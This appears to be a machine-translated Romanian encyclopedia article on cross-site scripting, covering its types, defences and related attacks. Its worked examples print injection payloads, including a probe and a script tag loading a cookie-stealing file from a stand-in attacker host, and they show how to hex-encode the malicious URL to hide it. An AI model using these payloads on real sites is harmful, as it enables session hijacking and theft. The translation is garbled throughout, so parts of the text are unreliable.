Cross-Site Scripting

Cross-site scripting (XSS) este o vulnerabilitate cibernetică care afectează site - uri dinamice care folosesc insuficientă formă de control de intrare. Un XSS permite un cracker pentru a insera sau a executa cod client-side pentru a efectua un set variat de atacuri , cum ar fi, de exemplu, colectarea, manipularea și redirecționarea informațiilor confidențiale, afișarea și modificarea datelor pe servere, alterarea comportamentul dinamic al paginilor web, etc.

În sens de astăzi, tehnica include utilizarea de orice limbaj client-side scripting , inclusiv JavaScript , VBScript , Flash . Efectul lor poate varia de la o neplăcere minoră la un risc semnificativ de securitate, în funcție de sensibilitatea datelor prelucrate pe site-ul vulnerabil și natura strategiilor de securitate implementate de proprietarii site-ului.

Potrivit unui Symantec raport în 2007 , 80% din toate încălcările sunt datorate atacurilor XSS ^[1] .

Originea și transformarea conceptului

Securitatea pe web depinde de o varietate de mecanisme , inclusiv conceptul de încredere cunoscut sub numele de politica de origine Same . Aceasta prevede, în esență, că în cazul în care conținutul primului site-ului se acordă permisiunea de a accesa resursele unui sistem, atunci orice conținut de pe site-ul respectiv va împărtăși aceste permisiuni, în timp ce conținutul de la un alt site trebuie să aibă permisiuni separate.

atacuri cross-site scripting folosesc vulnerabilități cunoscute în aplicații web, serverele lor, sau plugin-urile pe care se bazează. Prin exploatarea una dintre aceste vulnerabilități, atacatorii injectează conținutul rău intenționat în mesajul furnizat de site - ul compromise , astfel încât atunci când acesta ajunge în partea de client browser -ul web este trimis de la sursa de încredere, în scopul de a opera în conformitate cu permisiunile acordate respectivului sistem. Prin injectarea de script-uri rău intenționate, atacatorul poate obține privilegii de acces la conținutul paginii sensibile, cookie-urile de sesiune, și o varietate de alte informații gestionate de browser-ul în numele utilizatorului.

Inginerii de securitate Microsoft a introdus termenul de cross-site scripting în ianuarie 2000.

Expresia cross-site scripting menționate inițial doar la atacuri bazate pe utilizarea JavaScript fragmente de cod inserate în cerere apeluri către pagini web dinamice , plasate pe un web-server (tehnica care face parte din injectare cod metodele) , astfel încât serverul de la distanță efectuat altele decât cele prevăzute inițial de aplicația web operațiuni. Această definiție a extins treptat , pentru a include alte „injectare de cod“ moduri bazate nu numai pe JavaScript , ci și pe ActiveX , VBScript , Flash , sau chiar pur HTML . Acest lucru a dus la o oarecare confuzie în terminologia referitoare la securitatea IT ; termenul, de fapt, astăzi cuprinde un întreg set de tehnici de atac și nu numai că, pe baza manipularea codului JavaScript. ^[2]

Vulnerabilități XSS au fost raportate și exploatate din 1990. Site - uri cunoscute au fost compromise în trecut, inclusiv site - uri de rețele sociale , cum ar fi Twitter ^[3] , Facebook ^[4] , MySpace , YouTube și Orkut ^[5] . În anii următori, probleme de cross-site scripting depășit cele de tampon revărsate deveni cel mai frecvent raportate vulnerabilitate de securitate ^[6] , atât de mult , astfel încât unii cercetători în 2007 a presupus că 68% dintre site - uri ar fi probabil expuse la atacuri. XSS ^{[7 ]} .

Tipuri

Cei mai mulți experți distinge cel puțin două tipuri principale de vulnerabilități XSS: non-persistente și persistente. Unele surse împart în continuare aceste două grupuri în tradiționale (cauzate de probleme în codul de server-side) și DOM- pe bază (în codul de client-side).

Reflectata (non-persistente)

Reflected cross-site scripting vulnerabilități sunt cu siguranță cele mai frecvente. Ele pot fi exploatate în cazul în care datele furnizate de către utilizator (de obicei, prin formulare HTML) este utilizat imediat de către script server-side pentru a construi paginile de rezultate fără a verifica corectitudinea cererii.

Deoarece documentele HTML au o structură plată în cazul în care controlul, formatarea și conținutul propriu - zis declarații sunt amestecate, dacă există date non validate furnizate de utilizator este inclus în pagina rezultată fără codare HTML adecvat, acest lucru poate duce la marcare injectare de cod ^[8] . Un exemplu clasic de un potențial vector este un motor de căutare a site-ului - în cazul în care căutați un șir de caractere, acesta va apărea în mod tipic din nou pe pagina de rezultate pentru a indica ce ați căutat. În cazul în care acest răspuns nu evită sau respinge caracterele de control, HTML, rezultă că este vulnerabil la atacuri cross-site scripting. ^[9]

Un atac de non-persistentă este de obicei trimise prin e-mail sau de pe un site neutru. Momeala este un URL inocent, care trimit la un site de încredere, dar care conține un vector de XSS. În cazul în care site-ul de încredere este vulnerabil la acel vector, făcând clic pe link-ul poate duce la executarea de script-uri injectat în browser-ul victimei.

Persistent

O persistentă (sau stocate) vulnerabilitate XSS este o variantă mai devastatoare de cross-site scripting: apare atunci când datele furnizate de către atacator este salvat pe server, și apoi afișate permanent pe paginile furnizate în mod normal utilizatorilor în timpul navigării normale , fără. eliminarea HTML formatarea din mesajele vizualizate de către alți utilizatori.

De exemplu, să presupunem că există un site de matrimoniale în cazul în care membrii vedeți profilurile altor membri pentru a căuta interese comune. Din motive de confidențialitate, numele și e-mailuri de la toată lumea reală Aceasta ascunde site-ul utilizatorilor. Aceste informații sunt păstrate secret de către server. Singura dată numele real și e-mail sunt afișate este atunci când autentifică-membre, a nu putea vedea date altcuiva oricum.

Să presupunem că un atacator jurnalele în site-ul și vrea să dau seama numele reale ale oamenilor pe care le vede pe site-ul. Pentru a face acest lucru, el scrie un script conceput pentru a fi rulat de browserele altora atunci când vizitează profilul său. Script-ul trimite un scurt mesaj la serverul său care colectează aceste informații.

Pentru a face acest lucru, pentru întrebarea „Descrie prima data ideală“, atacatorul dă un răspuns scurt (de obicei în căutarea), dar textul de la sfârșitul răspunsul este script-ul pentru a fura nume și e-mailuri. În cazul în care script-ul este închis într-un element <script> nu va fi afișat pe ecran. Deci, să presupunem că Bob, un membru al site-ului de dating, ajunge la profilul atacatorului, în cazul în care este afișat răspunsul la întrebarea cu privire la prima dată ideală. Script-ul este executat automat de către browser și fură numele și e-mail real, Bob direct de la mașina sa.

vulnerabilități XSS persistente pot fi mult mai semnificative decât altele, deoarece script rău intenționat atacatorul este livrat în mod automat fără a fi nevoie de a viza victima sau să le ademeni în a treia parte site-ul. În special în cazul site - urilor de socializare, codul ar putea fi concepute pentru a propaga în mod autonom între conturi, creând un tip de client-side vierme .

Metodele de injectare pot varia foarte mult, în unele cazuri, atacatorul nu are nevoie chiar de a interacționa cu caracteristici web pentru a exploata un defect. Orice date primite de către o aplicație web (prin e-mail, jurnalul de sistem, mesagerie instant, etc), care pot fi controlate de un atacator ar putea deveni un vector de injectare.

Server-side vs vulnerabilitate DOM-based

Punct de vedere istoric, vulnerabilități XSS au fost găsite în aplicații care a făcut toate prelucrării datelor server-side. introduse de utilizator (inclusiv un vector de XSS) ar fi trimis la server și apoi trimis înapoi ca pagină web. Necesitatea de a îmbunătăți experiența utilizatorului a dat popularitate la aplicații care au avut logica de prezentare (scris în JavaScript ) , care a trimis date, la cerere, la server folosind AJAX .

În timp ce codul JavaScript procesează , de asemenea , intrări de utilizator și le afișează pe pagina de web, noua subclasa de atacuri XSS reflectate a început să apară și a fost numit DOM- pe bază de cross-site scripting. În atacurile XSS DOM bazate, date malware nu este atins de către serverul de web, mai degrabă, este reflectată de codul JavaScript în întregime pe partea de client. ^[10]

Un exemplu de vulnerabilitate XSS bazate pe DOM este un bug găsit în 2011 într - o serie de JQuery plugins ^[11] . Strategiile de prevenire pentru atacuri XSS DOM pe bază includ măsuri foarte similare cu strategiile tradiționale de prevenire a XSS, dar puse în aplicare în JavaScript cod și incluse în paginile ^[12] . Unele cadre JavaScript au creat contramăsuri împotriva acestora și a altor tipuri de atacuri - de exemplu Angular.js ^[13] .

Un exemplu de atac

Atacatorii încearcă să exploateze cross-site scripting vulnerabilități se confruntă fiecare clasă de vulnerabilitate în mod diferit. Pentru fiecare clasă, un vector de atac specific este descris. Denumirile utilizate mai jos sunt nume tehnice utilizate în mod obișnuit în securitatea calculatoarelor.

Non-persistent

1. Alice vizitează adesea un anumit site web, care este găzduit de Bob. site-ul lui Bob permite Alice sa se autentifice cu un nume de utilizator și o parolă și stochează datele sensibile (cum ar fi informațiile de facturare). La accesarea sistemului, browser-ul păstrează un cookie de autentificare, care apare ca un set de caractere ilizibile, astfel încât ambele computere (client și server) amintesc de autentificare sale.
2. Ia act de Mallory că site - ul lui Bob conține o vulnerabilitate XSS reflectate:
   1. Când vizitați pagina de căutare, introduceți un termen în caseta de căutare și faceți clic pe butonul enter, în cazul în care nu există rezultate pagina va afișa termenul de căutare urmat de cuvintele „nu există“, iar URL - ul va fi http://bobssite.org?q=her
   2. Cu o interogare de căutare normală, cum ar fi cuvântul „pui“, pagina va afișa pur și simplu „cățeluși nu a fost găsit“ , iar URL - ul este http://bobssite.org ?q=cuccioli (acest lucru este un comportament normal).
   3. Cu toate acestea, atunci când trimiterea unei interogări de căutare anormale, cum ar fi <script type='text/javascript'>alert('xss');</script> ,
      1. O casetă de avertizare apare spunând „XSS“
      2. Pagina prezintă " <script type='text/javascript'>alert('xss');</script> nu a fost găsit" , împreună cu un mesaj de eroare cu textul "XSS"
      3. URL - ul este utilizabil http://bobssite.org ?q=<script type='text/javascript'>alert('xss');</script>
3. Mallory creează o adresă URL pentru a exploata exploit
   1. Creați URL - ul http://bobssite.org ?q=cuccioli<script%20src="http://mallorysevilsite.com/authstealer.js"></script> . Alegeți pentru a converti caractere ASCII în hexazecimal, de exemplu , http://bobssite.org ?q=cuccioli%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E , astfel încât orice cititorii umani nu se poate decripta imediat URL-ul rău intenționat.
   2. El trimite un email pentru unii membri ai site-ului unsuspecting lui Bob, în ​​care el scrie: „Vezi niște cățeluși drăguț“
4. Alice primeste e-mail și, din moment ce ea iubește pui, se deschide link-ul. Se va merge apoi la site-ul lui Bob pentru cercetare; căci nu se va afișa „Puilor nu a găsit“, dar scenariul lui Mallory, authstealer.js, va executa, invizibil pe ecran, declanșând atacul XSS.
5. De authstealer.js program se execută în browser-ul lui Alice, ca și cum ar fi fost trimis de la site-ul lui Bob. Este nevoie de o copie a cookie de autentificare a lui Alice și trimite-l la serverul lui Mallory, în cazul în care Mallory se va recupera.
6. Mallory plaseaza acum cookie de autentificare Alice in browser-ul ei, ca și cum ar fi fost propriul ei. Apoi, el se duce la site-ul lui Bob, acum el este autentificat ca Alice.
7. Acum, că ea este recunoscută de către site-ul ca Alice, Mallory merge la secțiunea de facturare a site-ului și se uită la numărul ei de card de credit și îl copiază. De asemenea, își schimbă parola, astfel încât Alice nu poate chiar mai intra.
8. El decide să facă un pas mai departe și trimite o legătură similară cu Bob însuși, câștigând astfel privilegii de administrator.

Pentru ca acest atac să nu apară sau pentru a reduce efectele sale în cazul în care acesta se produce, pot fi adoptate strategii diferite:

1. Intrarea câmp de căutare ar putea fi analizate pentru a corecta sau de a elimina orice coduri.
2. Serverul web poate fi configurat pentru a redirecționa solicitările invalide.
3. Serverul web poate detecta o conectare simultană și invalidarea sesiunilor.
4. Serverul de web ar putea detecta o conectare simultană la două adrese IP diferite și invalidarea sesiunilor.
5. Site-ul poate afișa doar ultimele cifre ale cardului de credit utilizat anterior.
6. Site-ul poate solicita utilizatorilor să re-introducă parola înainte de a schimba informațiile lor de înregistrare.
7. Utilizatorii pot fi instruiți să nu faceți clic pe link-uri cu aspect nevinovat, care sunt de fapt rău intenționat

atac persistente

1. Mallory creează un cont pe site-ul lui Bob.
2. ia act de Mallory că site-ul lui Bob conține o vulnerabilitate XSS. Dacă mergeți la secțiunea de știri și a posta un comentariu, ce ați tastat va fi afișat. Dar, în cazul în care comentariul textul conține tag-uri HTML tag-uri vor fi afișate ca atare. Același lucru se va întâmpla pentru orice etichetă de script.
3. Mallory citește articolul în secțiunea de știri și scrie într-un comentariu. În comentariul el introduce acest text: Io amo i cuccioli di questa storia. Sono così carini! <script src=" http://mallorysevilsite.com/authstealer.js "> ,
4. Când Alice (sau oricine altcineva) încarcă pagina cu comentariul, se execută script lui Mallory, fură cookie de sesiune Alice si trimite - l la serverul secretul lui Mallory^[14] .
5. Mallory se poate exploata apoi sesiunea Alice și de a folosi contul ei până când este invalidată cookie - ul^{[14] [15]} .

software-ul site-ul lui Bob ar fi analizat comentariile din secțiunea de știri și eliminate sau fixe orice script-uri, dar nu a făcut-o, e unde se află bug de securitate.

Cum să te aperi

Codare ieșire contextuală / șir de intrare evadarea

Această măsură ar trebui să fie utilizată ca un mecanism primar de aparare pentru a opri atacurile XSS. Există mai multe scheme care ies care pot fi utilizate, inclusiv codificare de entitate HTML, JavaScript scăpa, CSS scăpa, și codificarea URL - ul ^[16] . Multe aplicații web care nu acceptă date bogate pot utiliza evadarea pentru a elimina cele mai multe dintre riscurile de atacuri XSS destul de ușor.

Valida de intrare în siguranță , nu este de încredere

Multe operațiuni ale anumitor aplicații web (forumuri, webmail, etc.) permit utilizatorilor să folosească un subset limitat de markup HTML. Atunci când acceptă HTML de intrare de la utilizatori, cum ar fi „<b> foarte <b /> larg“, codificarea de ieșire, cum ar fi „foarte </ b> larg“, nu va fi suficientă , deoarece trebuie să fie ca și cod HTML de către browser. Oprirea unui atac XSS, atunci când acceptă HTML de intrare de la utilizator este foarte complex, în această situație. intrare HTML Nesigur trebuie să se facă printr-un motor igienizării HTML pentru a se asigura că nu conține cod XSS.

securitate Cookie

În plus față de filtrarea conținutului, alte metode sunt folosite de obicei pentru a atenua cross-site scripting.

Un exemplu este utilizarea unor controale de securitate suplimentare în timpul manipulării sesiunii bazate pe cookie. Multe aplicații web se bazează pe sesiune cookie - uri pentru autentificare mâner între diferite cereri HTTP, și deoarece script - uri la nivel de client in general , au acces la acest cookie, XSS simplu le poate fura ^[17] . Pentru a atenua această amenințare deosebită, multe aplicații web leagă cookie - ul de sesiune la adresa de IP a utilizatorului care a obținut inițial de acces, atunci numai permite ca IP să utilizeze cookie - ul ^[18] . Acest lucru este eficient în cele mai multe cazuri , dar , evident , nu funcționează în situațiile în care un atacator se află în spatele același NATed adresa IP sau web proxy ca victima sau victima se schimba IP mobil ^[18] .

O altă soluție este prezentă în Internet Explorer ( de la versiunea 6), Firefox ( de la versiunea 2.0.0.5), Safari ( de la versiunea 4), Opera ( de la versiunea 9.5) și Google Chrome ; este steagul HttpOnly care permite unui server web pentru a seta un cookie care nu este accesibil din script - ul client-side. Dacă este utilizată, funcția poate preveni complet furt cookie , dar nu și atacuri în browser - ul ^[19] .

Dezactivați script - uri

În timp ce Web 2.0 si Ajax aplicatii favorizează utilizarea JavaScript ^[20] , unele aplicații web sunt scrise pentru a permite operarea fără a fi nevoie de orice client-side scripting ^[21] . Acest lucru permite utilizatorilor, în cazul în care doresc, pentru a dezactiva orice script-uri în browser înainte de a utiliza aplicația. În acest fel, script-uri de client, chiar și cele potențial periculoase, ar putea fi plasat pe o pagină fără șir escape, iar utilizatorii nu ar putea fi sensibile la atacuri XSS.

Unele browsere sau plugin-uri de browser poate fi configurat pentru a dezactiva script-uri la nivel de client, pe bază de domeniu pentru fiecare. Această abordare are o valoare limitată în cazul în care script-urile sunt activate în mod implicit, deoarece acestea vor fi blocate atunci când utilizatorul le-a recunoscut ca fiind periculos, dar va fi prea târziu până acum. O caracteristică care blochează toate script-urile și incluziuni externe în mod implicit, și, prin urmare, permite utilizatorilor să permită pe bază de domeniu, este mai eficient. Acest lucru a fost posibil pentru o lungă perioadă de timp pe Internet Explorer ( de la versiunea 4) , prin stabilirea așa-numitele „zone de securitate“ ^[22] și în Opera ( de la versiunea 9) , folosind „preferințele site - specifice“. Soluția pentru Firefox și alte Gecko- browsere bazate este open source NoScript add-on , care , în plus față de a permite script - uri pentru fiecare domeniu, oferă o oarecare protecție XSS chiar și atunci când script - urile sunt activate ^[23] .

Cea mai problemă relevantă dată de blocarea tuturor script - uri din toate site - urile implicit este reducerea substanțială a funcționalității și capacitatea de reacție (client-side scripting poate fi mult mai rapid decât de scripting server-side , deoarece nu are nevoie să se conecteze la un server de la distanță și pagina, sau cadru, nu are nevoie să fie reîncărcate) O altă problemă cu script-ul de blocare este că mulți utilizatori nu înțeleg și nu știu cum să asigure în mod corespunzător browser-ul lor. Un alt dezavantaj este faptul că multe site - uri nu funcționează fără client-side scripting, forțând utilizatorii de securitate la dezactivare pentru site - ul ^[24] . Extensia NoScript Firefox permite utilizatorilor pentru a permite script-uri dintr-o anumită pagină, dar nu permite altora să ruleze aceeași pagină. De exemplu, script - uri de la example.com poate rula, script - uri de la advertisingagency.com care încearcă să ruleze pe aceeași pagină poate fi dezactivată ^[25] .

Emergente tehnologii de apărare

Există trei clase de XSS de apărare, care sunt în curs de dezvoltare. Acestea includ Politica de conținut de securitate ^[26] , instrumente de sandbox JavaScript și template - uri auto-evadare. Aceste mecanisme sunt încă în evoluție, dar ei promit un viitor în cazul în care atacurile XSS vor fi reduse sever.

servicii de scanare

Unele companii ofera un serviciu de scanare periodică, în esență, simulează un atac de la serverul lor la serverul clientului pentru a vedea dacă atacul este de succes. Dacă se întâmplă acest lucru, clientul primește informații detaliate cu privire la modul în care a fost efectuat atacul și apoi are o șansă de a rezolva problema înainte ca altcineva face același atac. Scanerul nu poate găsi toate punctele vulnerabile posibile, ^[27] Prin urmare, site - urile scanate pot fi în continuare vulnerabile la noi tipuri de atacuri, dar scaneaza poate detecta unele probleme cunoscute. După ce clientul a fixat bug-uri de securitate, site-ul va fi cu siguranță mai sigur decât înainte. Site-urile care au nevoie de o soluție completă vulnerabilitate XSS necesită tehnici de evaluare, cum ar fi o revizuire cod manual.

vulnerabilitatilor

Într - un tip Universal Cross-Site Scripting (UXSS sau universal XSS) atac, vulnerabilități în browser - ul în sine sunt exploatate, mai degrabă decât vulnerabilități în site - uri, ca și în cazul atacurilor XSS.

Mai multe clase de vulnerabilități sau tehnici de atac sunt legate de XSS: eco-zona de scripting permite executarea de cod cu privilegii mai mari în unele browsere ^[28] . HTTP antet injecție poate fi utilizată pentru a crea condițiile necesare pentru cross-site scripting prin evitarea problemelor la nivel de protocol HTTP (precum și permițând atacuri , cum ar fi HTTP divizare de răspuns) ^[29] .

Cerere cross-site - ul fals (CSRF / XSRF) este aproape opusul XSS, în sensul că , în loc de a exploata încrederea utilizatorilor într - un site, atacatorul și pagina sa malware exploatează încrederea site - ului în software - ul clientului., Ceea ce face solicită pe site - ul le consideră a fi acțiunile conștiente și intenționate ale unui utilizator autentificat ^[30] . Vulnerabilități XSS (chiar și în alte aplicații care rulează în același domeniu) permite atacatorilor eforturile de prevenire a CSRF by - pass ^[31] .

Covert Redirecționarea pârghii clienților terțe părți susceptibile la atacuri XSS sau Open redirecționareEND_LINK. Covert Redirecționarea a fost descoperit de către doctorand Wang Jing de la Universitatea Tehnologică Nanyang, Singapore. „Tentative de phishing normale pot fi ușor de detectat, deoarece adresa URL a paginii malware este de obicei cel mult câteva litere diferită de cea a site-ului real. Diferența cu Covert Redirecționarea este că un atacator ar putea folosi site-ul real în loc de hacking site-ul cu o autentificare malware pop-up ". ^[32]

În cele din urmă, injecție SQL exploatează o vulnerabilitate în stratul de bază de date de aplicație. Atunci când datele introduse de utilizator nu este filtrat corect, toate declarațiile SQL pot fi executate de către aplicație. ^[33]

Notă

1. Dominator și Dominator instrument Pro OpenSource pentru a identifica domXSS http://dominator.mindedsecurity.com

Elemente conexe

• HTML Tidy

Portal de securitate IT : accesați intrările Wikipedia care se ocupă cu securitatea IT